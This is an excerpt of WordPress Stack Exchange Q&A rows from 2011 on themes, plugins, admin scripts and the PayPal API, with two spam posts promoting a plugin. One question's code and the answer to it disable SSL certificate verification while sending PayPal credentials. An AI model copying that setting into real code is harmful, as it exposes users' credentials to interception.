  <row Id="19799" PostTypeId="1" CreationDate="2011-06-12T04:59:20.373" Score="1" ViewCount="82" Body="&lt;p&gt;Almost finished my website, but ran into one problem: When you view the archive of a category or do a search, the &quot;more&quot; (or &quot;continue reading&quot;) link/ tag doesn't appear. It words fine on the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated - mainly about the category post bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Will.&lt;/p&gt;&#xA;" OwnerUserId="5493" LastActivityDate="2011-07-05T14:29:24.733" Title="&quot;more&quot; tag doesn't appear when browsing category achives or search" Tags="&lt;posts&gt;&lt;tags&gt;&lt;more&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="19800" PostTypeId="1" AcceptedAnswerId="19809" CreationDate="2011-06-12T05:10:00.197" Score="2" ViewCount="56" Body="&lt;p&gt;I'd like to enqueue scripts only for an admin page that I've created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an example of this here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Load_scripts_only_on_plugin_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Load_scripts_only_on_plugin_pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not working for me, I think because I'm writing my plugin within a class.  add_action only works with in the constructor??  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add scripts to a specific page from within a class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with this method:&#xA;My main plugin page is a list of custom post types (if you set &lt;code&gt;'show_in_menu' =&amp;gt; 'custom_page_slug'&lt;/code&gt; in the post type args it takes over that page with a list of posts).  When I created the post type, I set a variable up with the post type name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = register_post_type('post-type', $args );&#xA;$this-&amp;gt;posttype = $args-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this call in the constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts', array( &amp;amp;$this, 'scripts_init' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this in the &lt;code&gt;scripts_init&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_screen;    &#xA;if( $current_screen-&amp;gt;id == $this-&amp;gt;posttype )&#xA;{&#xA;wp_enqueue_script( ... );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works.  But it seems more complicated than it needs to be.  Is there a better way to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-12T11:55:47.943" Title="Adding Scripts in the Admin Area" Tags="&lt;plugins&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="19801" PostTypeId="1" AcceptedAnswerId="19805" CreationDate="2011-06-12T05:48:05.827" Score="0" ViewCount="53" Body="&lt;p&gt;So, I'd like to add some custom write panels when you go to write a new post in the WP admin.  I'd like it to have a heading for each, and then a text input field where I can write in some text.  I would need it to be inserted into the single.php file, and then output as a definition list.  So, each custom field heading would be a pre-determined , like &quot;Materials Needed&quot; (without the quotes...), and then whatever I put within the blank text field would spit out as a .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what it would need to output as...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl&amp;gt;&#xA;&amp;lt;dt&amp;gt;Purpose of Activity&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;To improve the skill to strike an object with a paddle.&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Prerequisites&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;practice of striking skills - focusing on the following cue words: &#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;Flat Paddle&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Stiff Wrist (pretend it is in a cast)&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Watch the Object&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Suggested Grade Levels&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;K-2&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Materials Needed&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;one paddle for each student, 2-4 folding mats, 50+ balloons&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Description of Idea&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;Use paddles and balloons in self-space prior to this activity. Practice the underhand hit (with the face of the paddle to the ceiling). The class is divided into six teams of &quot;farmers&quot; scattered around the room. Each team will have their own &quot;barn&quot; made of two folding mats standing upright and forming a barn-like structure. Fifty plus (50+) balloons will be scattered on the gym floor. On the &quot;go&quot; signal, students use their paddle to round up the farm animals (balloons) and herd them into their barn. Only one balloon can be taken at a time. Once a student has a balloon, other students are not allowed to touch that particular balloon. The game continues until all balloons are in the barn. Students then return to their starting positions and sit with their paddles at rest.&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Variations&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;Use koosh balls, a shuttlecock, a foam ball, a dead tennis ball&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Teaching Suggestions&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;To apply math skill integration, balloons can be worth various points and students can add the points at the end of each round.&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Adaptations for Students with Disabilities&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;larger/lighter paddle, balloon tied to chair for continuous hitting&amp;lt;/dd&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2059" LastActivityDate="2011-06-12T06:32:43.557" Title="How to Do Custom Fields to Output a Definition List" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="19802" PostTypeId="1" AcceptedAnswerId="19849" CreationDate="2011-06-12T05:51:48.833" Score="1" ViewCount="49" Body="&lt;p&gt;I am new to WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What i allready have -&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building  a news blog with few posts categories. each category function as a different section (Economics, Sports etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What i want to  achieve-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am trying to achieve is to set a static page that will preview the last post from each category and will serve as the main page of the &quot;news site&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how can i nest posts preview on a static page (I understand that static pages are posts right?).&lt;/li&gt;&#xA;&lt;li&gt;is there a way to retrieve all the posts from a specific date?&lt;/li&gt;&#xA;&lt;li&gt;is there a way to group them by category?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know it is a &quot;Big&quot; question. I am only looking for directions and not tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shani&lt;/p&gt;&#xA;" OwnerUserId="6126" LastActivityDate="2011-06-13T05:33:10.473" Title="previewing my posts on static page?" Tags="&lt;posts&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="19803" PostTypeId="2" ParentId="19792" CreationDate="2011-06-12T06:07:05.833" Score="4" ViewCount="" Body="&lt;p&gt;I would suggest creating a function named &lt;code&gt;b99_register_scripts()&lt;/code&gt; and hook this into &lt;code&gt;init&lt;/code&gt;. Then you can create another function named &lt;code&gt;b99_enqueue_scripts()&lt;/code&gt; and hook it into &lt;code&gt;wp_print_scripts&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-12T06:07:05.833" CommentCount="1" />
  <row Id="19804" PostTypeId="2" ParentId="19799" CreationDate="2011-06-12T06:24:23.110" Score="1" ViewCount="" Body="&lt;p&gt;review this codex and see if the info in it can help: &lt;a href=&quot;http://codex.wordpress.org/Customizing_the_Read_More&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Customizing_the_Read_More&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-06-12T06:24:23.110" CommentCount="1" />
  <row Id="19805" PostTypeId="2" ParentId="19801" CreationDate="2011-06-12T06:32:43.557" Score="0" ViewCount="" Body="&lt;p&gt;The Metabox Script for WordPress has been of great help to me: &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&lt;/a&gt;&#xA;You will be able to ouput all that you shown above and more too. Completely customizable to your wishes.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-12T06:32:43.557" />
  <row Id="19806" PostTypeId="2" ParentId="19776" CreationDate="2011-06-12T08:27:56.423" Score="0" ViewCount="" Body="&lt;p&gt;I used the &lt;em&gt;premium&lt;/em&gt; plugin and I had to solve the following problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;remove the application from facebook, because initially I allowed access to the proxied email address. Verifiy that your facebook account is a verified account before adding the application, otherwise the application will default to proxied emails instead of real ones.&lt;/li&gt;&#xA;&lt;li&gt;checked the request real email address in plugin settings - be sure you press the right save button (there are several different ones on the page)&lt;/li&gt;&#xA;&lt;li&gt;retried to login and when the permission popup appears you have to press the small &lt;strong&gt;change&lt;/strong&gt; hyperlink under the email address permission and allow the application to access you real email address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="944" LastEditorUserId="944" LastEditorDisplayName="" LastEditDate="2011-06-13T06:43:30.953" LastActivityDate="2011-06-13T06:43:30.953" />
  <row Id="19807" PostTypeId="1" CreationDate="2011-06-12T09:06:13.983" Score="1" ViewCount="47" Body="&lt;p&gt;I'm embarrassed to say that I am a bit clueless on the procedure used to update a plugin via tortoise svn even though my plugin has been on the repository for years and had over 300,000 downloads!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there's a lot of questions about svn here but they've only confused me further :-z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;somehow I've managed so far but I need to know the proper procedure for updating my plugin to the new version with regards to committing the trunk and making a tags directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've been doing so far.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;code the plugin updates on my local until I'm happy with it&lt;/li&gt;&#xA;&lt;li&gt;copy over all the files inside my local plugin folder to the /trunk/ (the plugin and readme file have updated version numbers)&lt;/li&gt;&#xA;&lt;li&gt;commit the trunk directory&lt;/li&gt;&#xA;&lt;li&gt;right click the trunk directory and choose create branch/tag and set it to copy to a folder in /tags/ with the name being the version number&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is that correct and in the right order? if not, what is the correct way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, about version numbers...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for some reason, I went from version 2.8.1 to 2.81.2 on my last update, does this mean that it wont show as an update available in the dashboards of people that have version 2.81.2 if I change the next version number to 2.9 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how does wordpress determine which is the latest version and if the user should update their version? does it do a version_compare ? that only works with proper php version format doesn't it? eg. 2.9.2 is considered a lower version than 2.81.2 ? (because, as I understand it, version_compare starts at the left and compares higher/lower for each digit so 9 would be considered less than 81)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another question,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I spot a silly mistake in the code that doesn't really affect the working of the plugin, maybe a typo or an additional image. What do I edit and commit to make any new downloads of the plugin contain the change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do I have to edit the trunk AND the tag folder and commit both?&lt;/p&gt;&#xA;" OwnerUserId="699" LastActivityDate="2011-06-12T09:06:13.983" Title="what is the correct way to update a plugin via tortoise svn to the repository?" Tags="&lt;plugins&gt;&lt;update&gt;&lt;repository&gt;&lt;svn&gt;" CommentCount="1" />
  <row Id="19808" PostTypeId="1" AcceptedAnswerId="19812" CreationDate="2011-06-12T09:25:48.127" Score="1" ViewCount="81" Body="&lt;p&gt;trying to convert a plugin I wrote to use wp_http instead of Curl (so it'll work on servers without curl)&#xA;the plugin posts to paypal nvp api and gets back an encrypted button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I try to use the WP_Http class i get &quot;Invalid HTTP Response for POST&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would be glad for any help figuring this help - since I want to make this plugin as generic and adhering to standards as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;this is the original plugin code for the posting part using php Curl (and working)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $API_UserName  = urlencode($username);&#xA;$API_Password  = urlencode($password);&#xA;$API_Signature = urlencode($signature);&#xA;&#xA;&#xA;//the curl part - maybe we should change this into wp post functions&#xA;&#xA;// setting the curl parameters.&#xA;$ch = curl_init(); //calling curl phplib inside $CH&#xA;curl_setopt($ch, CURLOPT_URL, $API_Endpoint);//setting the endpoint&#xA;curl_setopt($ch, CURLOPT_VERBOSE, 1); //should check this, i don't really know&#xA;&#xA;// turning off the server and peer verification(TrustManager Concept).&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);&#xA;&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_POST, 1);&#xA;&#xA;// NVPRequest for submitting to server- including endpoint,credentials,the button data&#xA;$nvpreq = &quot;METHOD=$methodName_&amp;amp;VERSION=$version&amp;amp;PWD=$API_Password&amp;amp;USER=$API_UserName&amp;amp;SIGNATURE=$API_Signature&amp;amp;$nvpStr_&quot;;&#xA;&#xA;// setting the nvpreq as POST FIELD to curl&#xA;curl_setopt($ch, CURLOPT_POSTFIELDS, $nvpreq);&#xA;&#xA;// getting response from server&#xA;$httpResponse = curl_exec($ch);&#xA;$httpResponse =  $request-&amp;gt;request($API_Endpoint,array('method'=&amp;gt;'post', 'body'=&amp;gt;$nvpreq));&#xA;&#xA;&#xA;if(!$httpResponse) {&#xA;    exit(&quot;$methodName_ failed: &quot;/*.curl_error($ch).'('.curl_errno($ch).')'*/);&#xA;}&#xA;&#xA;// Extract the button response details&#xA;$httpResponseAr = explode(&quot;&amp;amp;&quot;, $httpResponse-&amp;gt;body);&#xA;&#xA;$httpParsedResponseAr = array();&#xA;foreach ($httpResponseAr as $i =&amp;gt; $value) {&#xA;    $tmpAr = explode(&quot;=&quot;, $value);&#xA;    if(sizeof($tmpAr) &amp;gt; 1) {&#xA;        $httpParsedResponseAr[$tmpAr[0]] = $tmpAr[1];&#xA;    }&#xA;}&#xA;&#xA;if((0 == sizeof($httpParsedResponseAr)) || !array_key_exists('ACK', $httpParsedResponseAr)) {&#xA;    exit(&quot;Invalid HTTP Response for POST request($nvpreq) to $API_Endpoint.&quot;);&#xA;}&#xA;&#xA;return $httpParsedResponseAr;// an array we'll parse back in the calling function - currently using only websitecode. but in the future maybe also the email code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And this is the code with wordpress http api (that doesn't work properly):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('WP_Http')) {&#xA;&#xA;    include_once ('c:/wamp/www/wp/wp-includes/class-http.php');&#xA;}&#xA;&#xA;$request = new WP_Http;&#xA;$httpResponse =  $request-&amp;gt;request($API_Endpoint,array('method'=&amp;gt;'post', 'body'=&amp;gt;$nvpreq));&#xA;&#xA;&#xA;if(!$httpResponse) {&#xA;    exit(&quot;$methodName_ failed: &quot;/*.curl_error($ch).'('.curl_errno($ch).')'*/);&#xA;}&#xA;&#xA;// Extract the button response details&#xA;$httpResponseAr = explode(&quot;&amp;amp;&quot;, $httpResponse-&amp;gt;body);&#xA;&#xA;$httpParsedResponseAr = array();&#xA;foreach ($httpResponseAr as $i =&amp;gt; $value) {&#xA;    $tmpAr = explode(&quot;=&quot;, $value);&#xA;    if(sizeof($tmpAr) &amp;gt; 1) {&#xA;        $httpParsedResponseAr[$tmpAr[0]] = $tmpAr[1];&#xA;    }&#xA;}&#xA;&#xA;if((0 == sizeof($httpParsedResponseAr)) || !array_key_exists('ACK', $httpParsedResponseAr)) {&#xA;    exit(&quot;Invalid HTTP Response for POST request($nvpreq) to $API_Endpoint.&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6129" LastActivityDate="2011-06-12T12:51:02.570" Title="problem using WP_Http with paypal nvp api" Tags="&lt;paypal&gt;&lt;http&gt;" AnswerCount="1" />
  <row Id="19809" PostTypeId="2" ParentId="19800" CreationDate="2011-06-12T10:12:42.377" Score="5" ViewCount="" Body="&lt;p&gt;Instead of hooking into &lt;code&gt;admin_print_scripts&lt;/code&gt; &lt;strong&gt;only&lt;/strong&gt;, you should hook into your specific page slug which is appended to &lt;code&gt;admin_print_scripts-&lt;/code&gt;.  (note trailing hyphen).  The reference page you linked to shows this, but you seem to be omitting the &lt;code&gt;$page&lt;/code&gt; concatenation to &lt;code&gt;admin_print_scripts-&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = add_theme_page( 'Options', 'Options', 'edit_theme_options', 'options-panel', 'topf_admin_options_markup' );&#xA;&#xA;add_action( &quot;admin_print_scripts-$page&quot;, 'enqueue_my_admin_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the slug &lt;code&gt;$page&lt;/code&gt; returned from &lt;code&gt;add_theme_page;&lt;/code&gt; you should provide your own slug.  Scripts will only be loaded for your specific page and there is no need to check within your enqueue function.&lt;/p&gt;&#xA;" OwnerUserId="6131" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-12T11:55:47.943" LastActivityDate="2011-06-12T11:55:47.943" CommentCount="3" />
  <row Id="19810" PostTypeId="1" CreationDate="2011-06-12T11:08:19.417" Score="1" ViewCount="41" Body="&lt;p&gt;I'm using WordPress 3.1., and I can't sort the posts in the Dashboard/admin area by date or post title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: i just noticed it only happens with this theme im using, how could this be fixed?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="6133" LastEditorDisplayName="" LastEditDate="2011-06-12T11:20:35.750" LastActivityDate="2011-06-13T00:09:29.937" Title="Can't sort Posts in wordpress Dashbaord" Tags="&lt;wordpress.com&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19811" PostTypeId="1" AcceptedAnswerId="19840" CreationDate="2011-06-12T11:55:09.037" Score="1" ViewCount="44" Body="&lt;p&gt;I'm trying to put my own function in a widget but it doesn't run.  I want to use it everywhere within the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could see an example,that'd be great.&lt;/p&gt;&#xA;" OwnerUserId="5247" LastActivityDate="2011-06-12T23:41:44.947" Title="how to put functions inside of widgets" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="19812" PostTypeId="2" ParentId="19808" CreationDate="2011-06-12T12:51:02.570" Score="1" ViewCount="" Body="&lt;p&gt;Looking at your original code, I'd say you need to add the &lt;code&gt;sslverify&lt;/code&gt; arg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on a side note, use the HTTP functions available, rather than instantiating the class yourself (you shouldn't have to load the class manually).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_remote_post( $url, array(&#xA;    'sslverify' =&amp;gt; false, // this is true by default!&#xA;    'body' =&amp;gt; array( &#xA;        'METHOD'    =&amp;gt; $methodName, // if you're using an array, no need to URL encode&#xA;        'VERSION'   =&amp;gt; $version,&#xA;        'PWD'       =&amp;gt; $API_Password,&#xA;        'USER'      =&amp;gt; $API_UserName,&#xA;        'SIGNATURE' =&amp;gt; $API_Signature&#xA;    )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-12T12:51:02.570" CommentCount="2" />
  <row Id="19813" PostTypeId="1" CreationDate="2011-06-12T12:55:42.113" Score="0" ViewCount="23" Body="&lt;p&gt;I have two Multisite Installations on a single Virtual hosting account. I should have created them on separate Hosting accounts. Now I regret not doing so. I worry if there might be any problems with domain name conflicting in future. As of now there are no problems&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any body have idea on the problems that would occur with more than two Multi-site installations on a single cpanel account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2011-06-12T12:55:42.113" Title="Any chance to Domain conflict with Two installations on a single Cpanel account?" Tags="&lt;multisite&gt;&lt;installation&gt;&lt;shared-hosting&gt;" />
  <row Id="19814" PostTypeId="1" CreationDate="2011-06-12T13:00:50.127" Score="1" ViewCount="65" Body="&lt;p&gt;I need to do this to enable advanced styling options via css, the one a class the headers are wrapped in isn't adequate to do the type of styling needed. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6134" LastEditorUserId="150" LastEditorDisplayName="" LastEditDate="2011-06-12T22:47:11.697" LastActivityDate="2011-06-19T17:56:11.567" Title="How to wrap admin menus and menu headers in additional divs without modifying the WordPress core?" Tags="&lt;wp-admin&gt;&lt;css&gt;&lt;admin-menu&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19815" PostTypeId="1" CreationDate="2011-06-12T13:03:21.543" Score="2" ViewCount="49" Body="&lt;p&gt;I am looking for the code that renders the below page. Where can I find it, it does not appear to be in functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PGyNO.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to learn how they allow users to upload images&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-06-12T13:49:52.373" Title="Looking for the code in twentyten that allows users to select images for the header/banner" Tags="&lt;theme-development&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="19816" PostTypeId="2" ParentId="19815" CreationDate="2011-06-12T13:49:52.373" Score="3" ViewCount="" Body="&lt;p&gt;The code you are looking for is in functions.php (line 106 to 211). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand what they have done in TwentyTen, I would suggest that you read the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_custom_image_header&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_custom_image_header&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-06-12T13:49:52.373" CommentCount="1" />
  <row Id="19817" PostTypeId="2" ParentId="17946" CreationDate="2011-06-12T13:54:34.910" Score="-4" ViewCount="" Body="&lt;p&gt;our company has developed a Wordpress plugin for translation of websites. It povides high quality translation by allowing post-editing of machine translated content using a translation community. All translated web pages are indexed by Google and there are zero errors. Please try the plugin. More information on &lt;a href=&quot;http://wordpress.org/extend/plugins/gts-translation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gts-translation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6135" LastActivityDate="2011-06-12T13:54:34.910" CommentCount="1" />
  <row Id="19818" PostTypeId="1" CreationDate="2011-06-12T14:30:06.973" Score="1" ViewCount="100" Body="&lt;p&gt;Look at this page &lt;a href=&quot;http://bit.ly/klpWSX&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/klpWSX&lt;/a&gt;&#xA;Its a sub menu under About Us parent menu. However, the sub of the sub menu at the sidebar is not appear, example is The Organizers. How to make it appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the code i found here:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2802/display-a-portion-branch-of-the-menu-tree-using-wp-nav-menu&quot;&gt;Display a portion/ branch of the menu tree using wp_nav_menu()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6043" LastActivityDate="2011-06-12T14:30:06.973" Title="Displaying sub menu under parent menu" Tags="&lt;custom-menus&gt;&lt;menus&gt;" />
  <row Id="19819" PostTypeId="2" ParentId="17395" CreationDate="2011-06-12T14:45:48.260" Score="0" ViewCount="" Body="&lt;p&gt;great post. Our company has developed a WordPress plugin for translation of websites. It povides high quality translation by allowing post-editing of machine translated content using a translation community. And it is free. More information on &lt;a href=&quot;http://wordpress.org/extend/plugins/gts-translation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gts-translation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6135" LastActivityDate="2011-06-12T14:45:48.260" />
  <row Id="19820" PostTypeId="2" ParentId="19795" CreationDate="2011-06-12T14:59:27.027" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags go in the &lt;em&gt;document head&lt;/em&gt;, not in the &lt;em&gt;document body&lt;/em&gt; (or, if in the document body, they should be the very last thing before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, if you're adding code of &lt;em&gt;any&lt;/em&gt; sort in your post, you're going to run into issues if you use the Visual editor, or, more likely, if you're switching between the Visual and HTML editors.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-12T14:59:27.027" />
  <row Id="19821" PostTypeId="1" CreationDate="2011-06-12T15:03:38.210" Score="0" ViewCount="32" Body="&lt;p&gt;category-posts plugin pulls from Word press categories and lists title excerpt date thumb etc. and adds a link to the respective posts. Great I have it all styled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second plugin Youtube-feeder pulls from youtube either a user channel or a playlist and lists it with date (getting it wrong) thumb, title, and description (fail). The thumbs load the video into a player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;youtube-feeder has some problems, the biggest one is that with long lists, once you scroll the window and click a thumb, the window does not scroll up. I solved that by enclosing the whole thing in a JScrollPane and cobbled some code together and it does scroll up in a creepy way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are going to drop youtube-feeder because linking to the posts is essential, but I think the ability to click the thumbs and have them load into a player should be added to the functionality of list-category-posts. I am going to try that but if anyone wants to give it a go that would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason we are not using some of the other players is that we want iPhone to play the videos and so many of the other feeders and players fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The perfect player would:&#xA;1) list by category or youtube channel or anything you can think of&#xA;2) offer the option for a read more link&#xA;3) load thumbs into a player&#xA;4) use plain youtube long urls or short so that they play on iPhone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not been able to find that on 2 months of work!&#xA;here is the link to the site:&#xA;&lt;a href=&quot;http://LovetheBus.tv&quot; rel=&quot;nofollow&quot;&gt;http://LovetheBus.tv&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6137" LastActivityDate="2011-06-12T15:03:38.210" Title="Marrying two plugins for video" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;" />
  <row Id="19822" PostTypeId="1" CreationDate="2011-06-12T15:06:14.403" Score="1" ViewCount="82" Body="&lt;p&gt;On the homepage I want to display the latest 4 posts from the 'news' and 'events' category, whereas on the events page, I just want to display all posts in the 'events' category in WP's usual paginated form if there is a lot of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of any plugin that handles this kind of rules based post generation? If not, what would be the best way of going around this?&lt;/p&gt;&#xA;" OwnerUserId="6138" LastActivityDate="2011-08-12T08:55:33.537" Title="Is there a plugin to display certain posts on certain pages?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="19824" PostTypeId="1" AcceptedAnswerId="21518" CreationDate="2011-06-12T16:57:09.867" Score="1" ViewCount="112" Body="&lt;p&gt;I'm using different method to form a gallery in Wordpress, so I would like to hide an option to insert images and galleries into post for anyone but Administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me an example how it's done?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2011-06-29T21:33:35.813" Title="Hide &quot;Gallery Settings&quot; and &quot;Insert into Post&quot; button from Attachment window" Tags="&lt;attachments&gt;&lt;gallery&gt;" AnswerCount="2" FavoriteCount="2" />
